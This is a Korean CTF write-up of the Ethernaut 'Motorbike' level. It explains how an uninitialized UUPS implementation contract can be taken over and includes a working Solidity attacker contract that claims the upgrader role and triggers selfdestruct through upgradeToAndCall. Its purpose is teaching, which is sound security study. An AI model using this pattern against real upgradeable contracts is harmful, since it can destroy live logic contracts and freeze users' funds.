> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/25.-motorbike.md).

# 25. Motorbike

\#delegatecall #UUPS

> Ethernaut의 오토바이에는 최신 업그레이드 가능한 엔진 설계가 있습니다.
>
> 당신은 이 엔진을 `selfdestruct` 시켜서 오토바이를 더 이상 사용할 수 없게 만들 수 있을까요?
>
> 도움이 될 만한 것들:
>
> * [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967)
> * [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) (Universal Upgradeable Proxy Standard) 업그레이드 패턴
> * 초기화 가능([Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol)) 컨트랙트

### 들어가기 전에

[call vs delegatecall](/smartcontract-security-docs/basics/2./undefined-2/call-vs-delegatecall.md)

delegatecall과 UUPS 구조를 이해하고 logic 컨트랙트 업그레이드 원리를 확인한다.

***

### **원본 소스 코드**

```solidity
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; // [1]

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public { // [2]
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`.
    // Will run if no other function in the contract matches the call data
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer { // [3]
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable { // [4]
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data); // [5]
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}
```

```
[1] : _IMPLEMENTATION_SLOT는 로직 컨트랙트(Engine) 주소가 위치한 슬롯 주소를 나타냄

[2] : Motorbike의 생성자 함수 - delegatecall로 자신의 context로 _logic의 initialize를 호출

[3] : initialize 함수를 통해 로직 컨트랙트의 관리자를 설정

[4] : 로직 컨트랙트를 업그레이드 하는 함수

[5] : newImplementation 주소의 함수를 delegatecall로 실행시켜 Engine 컨트랙트에 반영
```

Motorbike 컨트랙트는 proxy이며 로직 컨트랙트(Engine)을 delegatecall 하는 역할만 가진다.

***

### **공격 시나리오**

문제의 Motorbike 컨트랙트를 배포하는 과정에서 Engine 컨트랙트의 initialize를 delegatecall로 실행시켰다. **horsePower와 upgrader**가 Engine의 슬롯에 담겨야하지만, delegatecall을 사용했으므로 Motorbike의 컨트랙트에 담기게 되었다.

**Motorbike 슬롯 1**

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FXgVlqGXsZj6aR6cRlAmH%2Fimage.png?alt=media&amp;token=046bac0e-5c2d-4673-80c1-39f82c008d5f" alt=""><figcaption></figcaption></figure>

(Motorbike 컨트랙트 주소 - 0x0787D8c241Dda1c3a0eE8E3e47C6CffbCfdaA850)

따라서 initialize가 Engine 컨트랙트에 아직 반영되지 않았기 때문에 컨트랙트를 작성해서 **upgrader 권한을 가져올 수 있다.**

또한 upgraderToAndCall을 실행해서 `selfdestruct`코드가  있는 함수를 인자로 넘겨 Engine 컨트랙트를 부술 수 있다.

* delegatecall로 함수 실행 결과를 Engine 컨트랙트에 반영하기 때문에 공격 코드에 selfdestruct를 넣어 공격을 진행한다.

***

### **공격 코드**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IEngine {
  function initialize() external;
  function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}

contract Answer {
  IEngine iEngine;

  constructor(address target) {
    iEngine = IEngine(target);
    iEngine.initialize();
  }

  function hello() public {
    iEngine.upgradeToAndCall(address(this), abi.encodeWithSignature("destroy()"));
  }

  function destroy() public payable {
    selfdestruct(payable(0x0787D8c241Dda1c3a0eE8E3e47C6CffbCfdaA850));
  }
}
```

**진행 과정**

1. Answer 컨트랙트를 배포 - constructor의 target 값으로 Engine 주소를 넣고 initialize()를 진행시킨다.
2. hello 함수 실행 - Engine 컨트랙트의 upgradeToAndCall을 실행하면서 인자 값으로 **자신의 주소, destroy 함수**를 전달한다.
3. Engine은 destory 함수를 실행하게 되고 Engine 컨트랙트를 부순다.

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2Foy7rlu9u0LzEdexzfIXi%2Fimage.png?alt=media&amp;token=d4d20304-0167-4edc-8a99-4ae4d0328f4d" alt=""><figcaption></figcaption></figure>

그러나 EIP 개편으로 기존 검증 과정을 충족시키지 않아 문제를 해결할 수 없다고 뜬다. 컨트랙트는 파괴되었지만 데이터가 남아있기 때문에 문제는 해결할 수 없고, 위의 사진처럼 Self-Destruct 표시가 떴다면 문제가 해결된 것으로 간주하면 된다.

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2Fxtt7Jy2Vdiy6FBC6BvoH%2Fimage.png?alt=media&amp;token=ff8b8205-43f6-495d-a3cc-9237eb90d429" alt=""><figcaption></figcaption></figure>

***

### :bangbang:**더 알아보기**:bangbang:

> UUPS 패턴의 장점은, 매우 간결한 프록시만 배포하면 된다는 점입니다.
>
> 프록시는 오직 저장소 계층으로만 작동하며, 상태 변경은 모두 delegatecall을 통해 구현 컨트랙트의 로직을 사용해 이루어지기 때문에 일반적으로 외부 시스템에는 영향을 주지 않습니다.
>
> 하지만 그렇다고 해서 구현 컨트랙트(implementation contract)를 초기화 없이 방치해도 괜찮다는 뜻은 아닙니다.
>
> 이번 레벨은 UUPS 패턴이 도입된 후 실제 발견된 취약점을 약간 단순화한 형태로 재현한 예제입니다.
>
> 요점: 구현 컨트랙트를 초기화하지 않은 채로 두지 마세요 ;)
>
> 자세한 내용이 궁금하다면 [링크](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680)를 참조하세요.
